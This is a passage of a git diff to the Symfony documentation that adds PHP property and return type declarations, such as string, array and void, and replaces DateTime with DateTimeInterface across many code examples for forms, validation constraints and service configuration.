 reference/dic_tags.rst                        |  8 ++--
 serializer.rst                                |  8 ++--
 service_container/alias_private.rst           | 10 ++---
 service_container/autowiring.rst              |  8 ++--
 service_container/calls.rst                   |  2 +-
 service_container/configurators.rst           |  4 +-
 service_container/expression_language.rst     |  4 +-
 service_container/factories.rst               | 10 ++---
 service_container/import.rst                  |  2 +-
 service_container/injection_types.rst         |  6 +--
 service_container/lazy_services.rst           |  4 +-
 service_container/optional_dependencies.rst   |  4 +-
 service_container/parent_services.rst         |  6 +--
 service_container/service_decoration.rst      | 16 ++++----
 .../service_subscribers_locators.rst          | 12 +++---
 service_container/shared.rst                  |  2 +-
 service_container/synthetic_services.rst      |  2 +-
 service_container/tags.rst                    | 14 +++----
 validation/custom_constraint.rst              |  2 +-
 validation/severity.rst                       | 10 +++--
 97 files changed, 510 insertions(+), 349 deletions(-)

diff --git a/cache.rst b/cache.rst
index f9d7175cf41..fda6cdb9810 100644
--- a/cache.rst
+++ b/cache.rst
@@ -363,7 +363,7 @@ with either :class:`Symfony\\Contracts\\Cache\\CacheInterface` or
             // config/services.php
             namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-            return function(ContainerConfigurator $container) {
+            return function(ContainerConfigurator $container): void {
                 $container->services()
                     // ...
 
diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index fb459f3d9cd..91e5d742c7a 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -23,7 +23,7 @@ Imagine you have a ``Mailer`` class which has four options: ``host``,
 
     class Mailer
     {
-        protected $options;
+        protected array $options;
 
         public function __construct(array $options = [])
         {
@@ -37,7 +37,7 @@ check which options are set::
     class Mailer
     {
         // ...
-        public function sendMail($from, $to)
+        public function sendMail($from, $to): void
         {
             $mail = ...;
 
@@ -884,9 +884,9 @@ can change your code to do the configuration only once per class::
     // ...
     class Mailer
     {
-        private static $resolversByClass = [];
+        private static array $resolversByClass = [];
 
-        protected $options;
+        protected array $options;
 
         public function __construct(array $options = [])
         {
@@ -902,7 +902,7 @@ can change your code to do the configuration only once per class::
             $this->options = self::$resolversByClass[$class]->resolve($options);
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             // ...
         }
@@ -917,9 +917,9 @@ method ``clearOptionsConfig()`` and call it periodically::
     // ...
     class Mailer
     {
-        private static $resolversByClass = [];
+        private static array $resolversByClass = [];
 
-        public static function clearOptionsConfig()
+        public static function clearOptionsConfig(): void
         {
             self::$resolversByClass = [];
         }
diff --git a/components/serializer.rst b/components/serializer.rst
index e08bd5c1f07..007cf4818b9 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -73,7 +73,7 @@ exists in your project::
         private int $age;
         private string $name;
         private bool $sportsperson;
-        private ?\DateTime $createdAt;
+        private ?\DateTimeInterface $createdAt;
 
         // Getters
         public function getAge(): int
@@ -113,7 +113,7 @@ exists in your project::
             $this->sportsperson = $sportsperson;
         }
 
-        public function setCreatedAt(\DateTime $createdAt = null): void
+        public function setCreatedAt(\DateTimeInterface $createdAt = null): void
         {
             $this->createdAt = $createdAt;
         }
@@ -607,11 +607,11 @@ processes::
     class Person
     {
         public function __construct(
-            private $firstName,
+            private string $firstName,
         ) {
         }
 
-        public function getFirstName()
+        public function getFirstName(): string
         {
             return $this->firstName;
         }
@@ -663,7 +663,7 @@ defines a ``Person`` entity with a ``firstName`` property:
         {
             public function __construct(
                 #[SerializedName('customer_name')]
-                private $firstName,
+                private string $firstName,
             ) {
             }
 
diff --git a/components/validator/resources.rst b/components/validator/resources.rst
index d5cfd85e297..19b0c54b6ec 100644
--- a/components/validator/resources.rst
+++ b/components/validator/resources.rst
@@ -37,9 +37,9 @@ In this example, the validation metadata is retrieved executing the
 
     class User
     {
-        protected $name;
+        protected string $name;
 
-        public static function loadValidatorMetadata(ClassMetadata $metadata)
+        public static function loadValidatorMetadata(ClassMetadata $metadata): void
         {
             $metadata->addPropertyConstraint('name', new Assert\NotBlank());
             $metadata->addPropertyConstraint('name', new Assert\Length([
@@ -99,7 +99,7 @@ prefixed classes included in doc block comments (``/** ... */``). For example::
         /**
          * @Assert\NotBlank
          */
-        protected $name;
+        protected string $name;
     }
 
 To enable the annotation loader, call the
diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index ccde974b9e5..c9da6873218 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -372,9 +372,9 @@ then its dump representation::
 
     class PropertyExample
     {
-        public $publicProperty = 'The `+` prefix denotes public properties,';
-        protected $protectedProperty = '`#` protected ones and `-` private ones.';
-        private $privateProperty = 'Hovering a property shows a reminder.';
+        public string $publicProperty = 'The `+` prefix denotes public properties,';
+        protected string $protectedProperty = '`#` protected ones and `-` private ones.';
+        private string $privateProperty = 'Hovering a property shows a reminder.';
     }
 
     $var = new PropertyExample();
@@ -391,7 +391,7 @@ then its dump representation::
 
     class DynamicPropertyExample
     {
-        public $declaredProperty = 'This property is declared in the class definition';
+        public string $declaredProperty = 'This property is declared in the class definition';
     }
 
     $var = new DynamicPropertyExample();
@@ -404,7 +404,7 @@ then its dump representation::
 
     class ReferenceExample
     {
-        public $info = "Circular and sibling references are displayed as `#number`.\nHovering them highlights all instances in the same dump.\n";
+        public string $info = "Circular and sibling references are displayed as `#number`.\nHovering them highlights all instances in the same dump.\n";
     }
     $var = new ReferenceExample();
     $var->aCircularReference = $var;
diff --git a/components/var_exporter.rst b/components/var_exporter.rst
index 866f97ee2ff..9c5677c91d8 100644
--- a/components/var_exporter.rst
+++ b/components/var_exporter.rst
@@ -50,10 +50,10 @@ following class hierarchy::
 
     abstract class AbstractClass
     {
-        protected $foo;
-        private $bar;
+        protected int $foo;
+        private int $bar;
 
-        protected function setBar($bar)
+        protected function setBar($bar): void
         {
             $this->bar = $bar;
         }
diff --git a/doctrine/resolve_target_entity.rst b/doctrine/resolve_target_entity.rst
index 81de0c75ff0..9c3e700e0cf 100644
--- a/doctrine/resolve_target_entity.rst
+++ b/doctrine/resolve_target_entity.rst
@@ -65,11 +65,8 @@ An Invoice entity::
     #[ORM\Table(name: 'invoice')]
     class Invoice
     {
-        /**
-         * @var InvoiceSubjectInterface
-         */
         #[ORM\ManyToOne(targetEntity: InvoiceSubjectInterface::class)]
-        protected $subject;
+        protected InvoiceSubjectInterface $subject;
     }
 
 An InvoiceSubjectInterface::
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 275ec7863fe..896dff71d29 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -91,7 +91,7 @@ notify Symfony that it is an event listener by using a special "tag":
 
         use App\EventListener\ExceptionListener;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(ExceptionListener::class)
diff --git a/form/bootstrap5.rst b/form/bootstrap5.rst
index c801757ea77..400747bba12 100644
--- a/form/bootstrap5.rst
+++ b/form/bootstrap5.rst
@@ -57,7 +57,7 @@ configuration:
         // config/packages/twig.php
         use Symfony\Config\TwigConfig;
 
-        return static function(TwigConfig $twig) {
+        return static function(TwigConfig $twig): void {
             $twig->formThemes(['bootstrap_5_layout.html.twig']);
 
             // ...
diff --git a/form/form_collections.rst b/form/form_collections.rst
index 2fc6ddda01a..d36dce954b3 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -16,8 +16,8 @@ Let's start by creating a ``Task`` entity::
 
     class Task
     {
-        protected $description;
-        protected $tags;
+        protected string $description;
+        protected ArrayCollection $tags;
 
         public function __construct()
         {
@@ -53,7 +53,7 @@ objects::
 
     class Tag
     {
-        private $name;
+        private string $name;
 
         public function getName(): string
         {
@@ -466,7 +466,7 @@ you will learn about next!).
             // ...
 
             #[ORM\ManyToMany(targetEntity: Tag::class, cascade: ['persist'])]
-            protected $tags;
+            protected array $tags;
 
         .. code-block:: yaml
 
diff --git a/forms.rst b/forms.rst
index 9a673dc4fc6..a00c7a94ab2 100644
--- a/forms.rst
+++ b/forms.rst
@@ -43,8 +43,9 @@ following ``Task`` class::
 
     class Task
     {
-        protected $task;
-        protected $dueDate;
+        protected string $task;
+
+        protected ?\DateTimeInterface $dueDate;
 
         public function getTask(): string
         {
@@ -56,12 +57,12 @@ following ``Task`` class::
             $this->task = $task;
         }
 
-        public function getDueDate(): ?\DateTime
+        public function getDueDate(): ?\DateTimeInterface
         {
             return $this->dueDate;
         }
 
-        public function setDueDate(?\DateTime $dueDate): void
+        public function setDueDate(?\DateTimeInterface $dueDate): void
         {
             $this->dueDate = $dueDate;
         }
@@ -128,7 +129,7 @@ use the ``createFormBuilder()`` helper::
             // creates a task object and initializes some data for this example
             $task = new Task();
             $task->setTask('Write a blog post');
-            $task->setDueDate(new \DateTime('tomorrow'));
+            $task->setDueDate(new \DateTimeImmutable('tomorrow'));
 
             $form = $this->createFormBuilder($task)
                 ->add('task', TextType::class)
@@ -209,7 +210,7 @@ use the ``createForm()`` helper (otherwise, use the ``create()`` method of the
             // creates a task object and initializes some data for this example
             $task = new Task();
             $task->setTask('Write a blog post');
-            $task->setDueDate(new \DateTime('tomorrow'));
+            $task->setDueDate(new \DateTimeImmutable('tomorrow'));
 
             $form = $this->createForm(TaskType::class, $task);
 
@@ -471,7 +472,7 @@ to a class. You can add them either to the entity class or to the form class.
 
 To see the first approach - adding constraints to the entity - in action,
 add the validation constraints, so that the ``task`` field cannot be empty,
-and the ``dueDate`` field cannot be empty, and must be a valid ``DateTime``
+and the ``dueDate`` field cannot be empty, and must be a valid ``DateTimeImmutable``
 object.
 
 .. configuration-block::
@@ -486,11 +487,11 @@ object.
         class Task
         {
             #[Assert\NotBlank]
-            public $task;
+            public string $task;
 
             #[Assert\NotBlank]
-            #[Assert\Type(\DateTime::class)]
-            protected $dueDate;
+            #[Assert\Type(\DateTimeInterface::class)]
+            protected \DateTimeInterface $dueDate;
         }
 
     .. code-block:: yaml
@@ -502,7 +503,7 @@ object.
                     - NotBlank: ~
                 dueDate:
                     - NotBlank: ~
-                    - Type: \DateTime
+                    - Type: \DateTimeInterface
 
     .. code-block:: xml
 
@@ -519,7 +520,7 @@ object.
                 </property>
                 <property name="dueDate">
                     <constraint name="NotBlank"/>
-                    <constraint name="Type">\DateTime</constraint>
+                    <constraint name="Type">\DateTimeInterface</constraint>
                 </property>
             </class>
         </constraint-mapping>
@@ -544,7 +545,7 @@ object.
                 $metadata->addPropertyConstraint('dueDate', new NotBlank());
                 $metadata->addPropertyConstraint(
                     'dueDate',
-                    new Type(\DateTime::class)
+                    new Type(\DateTimeInterface::class)
                 );
             }
         }
diff --git a/frontend/custom_version_strategy.rst b/frontend/custom_version_strategy.rst
index 9b86685889b..0bbcf934e58 100644
--- a/frontend/custom_version_strategy.rst
+++ b/frontend/custom_version_strategy.rst
@@ -130,7 +130,7 @@ After creating the strategy PHP class, register it as a Symfony service.
         use App\Asset\VersionStrategy\GulpBusterVersionStrategy;
         use Symfony\Component\DependencyInjection\Definition;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(GulpBusterVersionStrategy::class)
diff --git a/messenger/multiple_buses.rst b/messenger/multiple_buses.rst
index 7c2b548796d..8cc5fa5fa22 100644
--- a/messenger/multiple_buses.rst
+++ b/messenger/multiple_buses.rst
@@ -222,7 +222,7 @@ you can determine the message bus based on an implemented interface:
         use App\MessageHandler\CommandHandlerInterface;
         use App\MessageHandler\QueryHandlerInterface;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             // ...
diff --git a/profiler.rst b/profiler.rst
index dbe3dc6e989..f14fdcee0a7 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -536,7 +536,7 @@ you'll need to configure the data collector explicitly:
 
         use App\DataCollector\RequestCollector;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(RequestCollector::class)
diff --git a/reference/constraints/All.rst b/reference/constraints/All.rst
index 7fb1428bab7..3aa05b1d2d0 100644
--- a/reference/constraints/All.rst
+++ b/reference/constraints/All.rst
@@ -31,7 +31,7 @@ entry in that array:
                 new Assert\NotBlank,
                 new Assert\Length(min: 5),
             ])]
-            protected $favoriteColors = [];
+            protected array $favoriteColors = [];
         }
 
     .. code-block:: yaml
@@ -77,7 +77,7 @@ entry in that array:
 
         class User
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('favoriteColors', new Assert\All([
                     'constraints' => [
diff --git a/reference/constraints/AtLeastOneOf.rst b/reference/constraints/AtLeastOneOf.rst
index e3402c23b02..0a6ab618aa5 100644
--- a/reference/constraints/AtLeastOneOf.rst
+++ b/reference/constraints/AtLeastOneOf.rst
@@ -35,7 +35,7 @@ The following constraints ensure that:
                 new Assert\Regex('/#/'),
                 new Assert\Length(min: 10),
             ])]
-            protected $plainPassword;
+            protected string $plainPassword;
 
             #[Assert\AtLeastOneOf([
                 new Assert\Count(min: 3),
@@ -43,7 +43,7 @@ The following constraints ensure that:
                     new Assert\GreaterThanOrEqual(5)
                 ),
             ])]
-            protected $grades;
+            protected array $grades;
         }
 
     .. code-block:: yaml
@@ -113,7 +113,7 @@ The following constraints ensure that:
 
         class Student
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('password', new Assert\AtLeastOneOf([
                     'constraints' => [
diff --git a/reference/constraints/Bic.rst b/reference/constraints/Bic.rst
index 7cc2e46f558..69ce35248f3 100644
--- a/reference/constraints/Bic.rst
+++ b/reference/constraints/Bic.rst
@@ -30,7 +30,7 @@ will contain a Business Identifier Code (BIC).
         class Transaction
         {
             #[Assert\Bic]
-            protected $businessIdentifierCode;
+            protected string $businessIdentifierCode;
         }
 
     .. code-block:: yaml
@@ -66,7 +66,7 @@ will contain a Business Identifier Code (BIC).
 
         class Transaction
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('businessIdentifierCode', new Assert\Bic());
             }
diff --git a/reference/constraints/Blank.rst b/reference/constraints/Blank.rst
index fe17e88e40f..485d25319ac 100644
--- a/reference/constraints/Blank.rst
+++ b/reference/constraints/Blank.rst
@@ -37,7 +37,7 @@ of an ``Author`` class were blank, you could do the following:
         class Author
         {
             #[Assert\Blank]
-            protected $firstName;
+            protected string $firstName;
         }
 
     .. code-block:: yaml
@@ -73,7 +73,7 @@ of an ``Author`` class were blank, you could do the following:
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('firstName', new Assert\Blank());
             }
diff --git a/reference/constraints/CardScheme.rst b/reference/constraints/CardScheme.rst
index 59f0d048f15..6e98e6fab98 100644
--- a/reference/constraints/CardScheme.rst
+++ b/reference/constraints/CardScheme.rst
@@ -32,7 +32,7 @@ on an object that will contain a credit card number.
                 schemes: [Assert\CardScheme::VISA],
                 message: 'Your credit card number is invalid.',
             )]
-            protected $cardNumber;
+            protected string $cardNumber;
         }
 
     .. code-block:: yaml
@@ -75,7 +75,7 @@ on an object that will contain a credit card number.
 
         class Transaction
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('cardNumber', new Assert\CardScheme([
                     'schemes' => [
diff --git a/reference/constraints/Cascade.rst b/reference/constraints/Cascade.rst
index 5880fdd6389..aeaa4213832 100644
--- a/reference/constraints/Cascade.rst
+++ b/reference/constraints/Cascade.rst
@@ -35,7 +35,7 @@ constraints that are set in the child classes ``BookMetadata`` and
         class BookCollection
         {
             #[Assert\NotBlank]
-            protected $name = '';
+            protected string $name = '';
 
             public BookMetadata $metadata;
 
@@ -76,7 +76,7 @@ constraints that are set in the child classes ``BookMetadata`` and
         {
             // ...
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addConstraint(new Assert\Cascade());
             }
diff --git a/reference/constraints/Choice.rst b/reference/constraints/Choice.rst
index b1b27bdd6fd..2ec882298ec 100644
--- a/reference/constraints/Choice.rst
+++ b/reference/constraints/Choice.rst
@@ -32,13 +32,13 @@ If your valid choice list is simple, you can pass them in directly via the
 
         class Author
         {
-            const GENRES = ['fiction', 'non-fiction'];
+            public const GENRES = ['fiction', 'non-fiction'];
 
             #[Assert\Choice(['New York', 'Berlin', 'Tokyo'])]
-            protected $city;
+            protected string $city;
 
             #[Assert\Choice(choices: Author::GENRES, message: 'Choose a valid genre.')]
-            protected $genre;
+            protected string $genre;
         }
 
     .. code-block:: yaml
@@ -91,7 +91,9 @@ If your valid choice list is simple, you can pass them in directly via the
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint(
                     'city',
@@ -138,7 +140,7 @@ constraint.
         class Author
         {
             #[Assert\Choice(callback: 'getGenres')]
-            protected $genre;
+            protected string $genre;
         }
 
     .. code-block:: yaml
@@ -176,9 +178,9 @@ constraint.
 
         class Author
         {
-            protected $genre;
+            // ...
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('genre', new Assert\Choice([
                     'callback' => 'getGenres',
@@ -202,7 +204,7 @@ you can pass the class name and the method as an array.
         class Author
         {
             #[Assert\Choice(callback: [Genre::class, 'getGenres'])]
-            protected $genre;
+            protected string $genre;
         }
 
     .. code-block:: yaml
@@ -244,7 +246,9 @@ you can pass the class name and the method as an array.
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('genre', new Assert\Choice([
                     'callback' => [Genre::class, 'getGenres'],
diff --git a/reference/constraints/Cidr.rst b/reference/constraints/Cidr.rst
index 31080ab1abb..d7bc9e6b4a0 100644
--- a/reference/constraints/Cidr.rst
+++ b/reference/constraints/Cidr.rst
@@ -27,7 +27,7 @@ Basic Usage
         class NetworkSettings
         {
             #[Assert\Cidr]
-            protected $cidrNotation;
+            protected string $cidrNotation;
         }
 
     .. code-block:: yaml
@@ -63,7 +63,9 @@ Basic Usage
 
         class NetworkSettings
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('cidrNotation', new Assert\Cidr());
             }
diff --git a/reference/constraints/Collection.rst b/reference/constraints/Collection.rst
index de29e9837ea..2d16d201b17 100644
--- a/reference/constraints/Collection.rst
+++ b/reference/constraints/Collection.rst
@@ -33,12 +33,12 @@ of a collection individually. Take the following example::
 
     class Author
     {
-        protected $profileData = [
+        protected array $profileData = [
             'personal_email' => '...',
             'short_bio' => '...',
         ];
 
-        public function setProfileData($key, $value)
+        public function setProfileData($key, $value): void
         {
             $this->profileData[$key] = $value;
         }
@@ -73,7 +73,7 @@ following:
                 ],
                 allowMissingFields: true,
             )]
-            protected $profileData = [
+            protected array $profileData = [
                 'personal_email' => '...',
                 'short_bio' => '...',
             ];
@@ -135,7 +135,9 @@ following:
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('profileData', new Assert\Collection([
                     'fields' => [
@@ -203,7 +205,7 @@ you can do the following:
                     ),
                 ],
             )]
-            protected $profileData = ['personal_email' => 'email@example.com'];
+            protected array $profileData = ['personal_email' => 'email@example.com'];
         }
 
     .. code-block:: yaml
@@ -261,9 +263,9 @@ you can do the following:
 
         class Author
         {
-            protected $profileData = ['personal_email'];
+            // ...
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('profileData', new Assert\Collection([
                     'fields' => [
diff --git a/reference/constraints/Count.rst b/reference/constraints/Count.rst
index c460028df37..0bf40aca8e9 100644
--- a/reference/constraints/Count.rst
+++ b/reference/constraints/Count.rst
@@ -33,7 +33,7 @@ you might add the following:
                 minMessage: 'You must specify at least one email',
                 maxMessage: 'You cannot specify more than {{ limit }} emails',
             )]
-            protected $emails = [];
+            protected array $emails = [];
         }
 
     .. code-block:: yaml
@@ -78,7 +78,9 @@ you might add the following:
 
         class Participant
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('emails', new Assert\Count([
                     'min' => 1,
diff --git a/reference/constraints/Country.rst b/reference/constraints/Country.rst
index 5a47a7cae44..70aae5d3cc5 100644
--- a/reference/constraints/Country.rst
+++ b/reference/constraints/Country.rst
@@ -24,7 +24,7 @@ Basic Usage
         class User
         {
             #[Assert\Country]
-            protected $country;
+            protected string $country;
         }
 
     .. code-block:: yaml
@@ -60,7 +60,9 @@ Basic Usage
 
         class User
         {
-            public static function loadValidationMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidationMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('country', new Assert\Country());
             }
diff --git a/reference/constraints/CssColor.rst b/reference/constraints/CssColor.rst
index 383c112fa85..88a4eb4be9f 100644
--- a/reference/constraints/CssColor.rst
+++ b/reference/constraints/CssColor.rst
@@ -31,19 +31,19 @@ the named CSS colors:
         class Bulb
         {
             #[Assert\CssColor]
-            protected $defaultColor;
+            protected string $defaultColor;
 
             #[Assert\CssColor(
                 formats: Assert\CssColor::HEX_LONG,
                 message: 'The accent color must be a 6-character hexadecimal color.',
             )]
-            protected $accentColor;
+            protected string $accentColor;
 
             #[Assert\CssColor(
                 formats: [Assert\CssColor::BASIC_NAMED_COLORS, Assert\CssColor::EXTENDED_NAMED_COLORS],
                 message: 'The color '{{ value }}' is not a valid CSS color name.',
             )]
-            protected $currentColor;
+            protected string $currentColor;
         }
 
     .. code-block:: yaml
@@ -104,7 +104,9 @@ the named CSS colors:
 
         class Bulb
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('defaultColor', new Assert\CssColor());
 
diff --git a/reference/constraints/Currency.rst b/reference/constraints/Currency.rst
index ccf1a2928bf..cf074d4b069 100644
--- a/reference/constraints/Currency.rst
+++ b/reference/constraints/Currency.rst
@@ -27,7 +27,7 @@ a valid currency, you could do the following:
         class Order
         {
             #[Assert\Currency]
-            protected $currency;
+            protected string $currency;
         }
 
     .. code-block:: yaml
@@ -63,7 +63,9 @@ a valid currency, you could do the following:
 
         class Order
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('currency', new Assert\Currency());
             }
diff --git a/reference/constraints/Date.rst b/reference/constraints/Date.rst
index c011bdedd13..93bd401cff6 100644
--- a/reference/constraints/Date.rst
+++ b/reference/constraints/Date.rst
@@ -25,7 +25,7 @@ Basic Usage
         class Author
         {
             #[Assert\Date]
-            protected $birthday;
+            protected string $birthday;
         }
 
     .. code-block:: yaml
@@ -64,9 +64,9 @@ Basic Usage
            /**
             * @var string A "Y-m-d" formatted value
             */
-            protected $birthday;
+            protected string $birthday;
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('birthday', new Assert\Date());
             }
diff --git a/reference/constraints/DateTime.rst b/reference/constraints/DateTime.rst
index 39ca4e3a5a1..f6bcce7e5f5 100644
--- a/reference/constraints/DateTime.rst
+++ b/reference/constraints/DateTime.rst
@@ -28,7 +28,7 @@ Basic Usage
              * @var string A "Y-m-d H:i:s" formatted value
              */
             #[Assert\DateTime]
-            protected $createdAt;
+            protected string $createdAt;
         }
 
     .. code-block:: yaml
@@ -67,9 +67,9 @@ Basic Usage
            /**
             * @var string A "Y-m-d H:i:s" formatted value
             */
-            protected $createdAt;
+            protected string $createdAt;
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('createdAt', new Assert\DateTime());
             }
diff --git a/reference/constraints/DivisibleBy.rst b/reference/constraints/DivisibleBy.rst
index 19f69414dd5..dd90ad9a0fd 100644
--- a/reference/constraints/DivisibleBy.rst
+++ b/reference/constraints/DivisibleBy.rst
@@ -35,12 +35,12 @@ The following constraints ensure that:
         class Item
         {
             #[Assert\DivisibleBy(0.25)]
-            protected $weight;
+            protected float $weight;
 
             #[Assert\DivisibleBy(
                 value: 5,
             )]
-            protected $quantity;
+            protected int $quantity;
         }
 
     .. code-block:: yaml
@@ -86,7 +86,9 @@ The following constraints ensure that:
 
         class Item
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('weight', new Assert\DivisibleBy(0.25));
 
diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index 3dc98946638..19b1579b88a 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -27,7 +27,7 @@ Basic Usage
             #[Assert\Email(
                 message: 'The email {{ value }} is not a valid email.',
             )]
-            protected $email;
+            protected string $email;
         }
 
     .. code-block:: yaml
@@ -66,7 +66,9 @@ Basic Usage
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('email', new Assert\Email([
                     'message' => 'The email "{{ value }}" is not a valid email.',
diff --git a/reference/constraints/EqualTo.rst b/reference/constraints/EqualTo.rst
index 41e95947963..0c2db8e5b4e 100644
--- a/reference/constraints/EqualTo.rst
+++ b/reference/constraints/EqualTo.rst
@@ -35,12 +35,12 @@ and that the ``age`` is ``20``, you could do the following:
         class Person
         {
             #[Assert\EqualTo('Mary')]
-            protected $firstName;
+            protected string $firstName;
 
             #[Assert\EqualTo(
                 value: 20,
             )]
-            protected $age;
+            protected int $age;
         }
 
     .. code-block:: yaml
@@ -86,7 +86,9 @@ and that the ``age`` is ``20``, you could do the following:
 
         class Person
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('firstName', new Assert\EqualTo('Mary'));
 
diff --git a/reference/constraints/ExpressionLanguageSyntax.rst b/reference/constraints/ExpressionLanguageSyntax.rst
index 3ce3850979b..f10956c4046 100644
--- a/reference/constraints/ExpressionLanguageSyntax.rst
+++ b/reference/constraints/ExpressionLanguageSyntax.rst
@@ -37,12 +37,12 @@ The following constraints ensure that:
         class Order
         {
             #[Assert\ExpressionLanguageSyntax]
-            protected $promotion;
+            protected string  $promotion;
 
             #[Assert\ExpressionLanguageSyntax(
                 allowedVariables: ['user', 'shipping_centers'],
             )]
-            protected $shippingOptions;
+            protected string $shippingOptions;
         }
 
     .. code-block:: yaml
@@ -89,7 +89,9 @@ The following constraints ensure that:
 
         class Order
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('promotion', new Assert\ExpressionLanguageSyntax());
 
diff --git a/reference/constraints/ExpressionSyntax.rst b/reference/constraints/ExpressionSyntax.rst
index 45a633867d7..2a603eaa616 100644
--- a/reference/constraints/ExpressionSyntax.rst
+++ b/reference/constraints/ExpressionSyntax.rst
@@ -38,12 +38,12 @@ The following constraints ensure that:
         class Order
         {
             #[Assert\ExpressionSyntax]
-            protected $promotion;
+            protected string $promotion;
 
             #[Assert\ExpressionSyntax(
                 allowedVariables: ['user', 'shipping_centers'],
             )]
-            protected $shippingOptions;
+            protected string $shippingOptions;
         }
 
     .. code-block:: yaml
@@ -90,7 +90,9 @@ The following constraints ensure that:
 
         class Order
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('promotion', new Assert\ExpressionSyntax());
 
diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index 44503da656f..68a65dfba20 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -38,14 +38,14 @@ type. The ``Author`` class might look as follows::
 
     class Author
     {
-        protected $bioFile;
+        protected File $bioFile;
 
-        public function setBioFile(File $file = null)
+        public function setBioFile(File $file = null): void
         {
             $this->bioFile = $file;
         }
 
-        public function getBioFile()
+        public function getBioFile(): File
         {
             return $this->bioFile;
         }
@@ -70,7 +70,7 @@ below a certain file size and a valid PDF, add the following:
                 extensions: ['pdf'],
                 extensionsMessage: 'Please upload a valid PDF',
             )]
-            protected $bioFile;
+            protected File $bioFile;
         }
 
     .. code-block:: yaml
@@ -115,7 +115,9 @@ below a certain file size and a valid PDF, add the following:
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
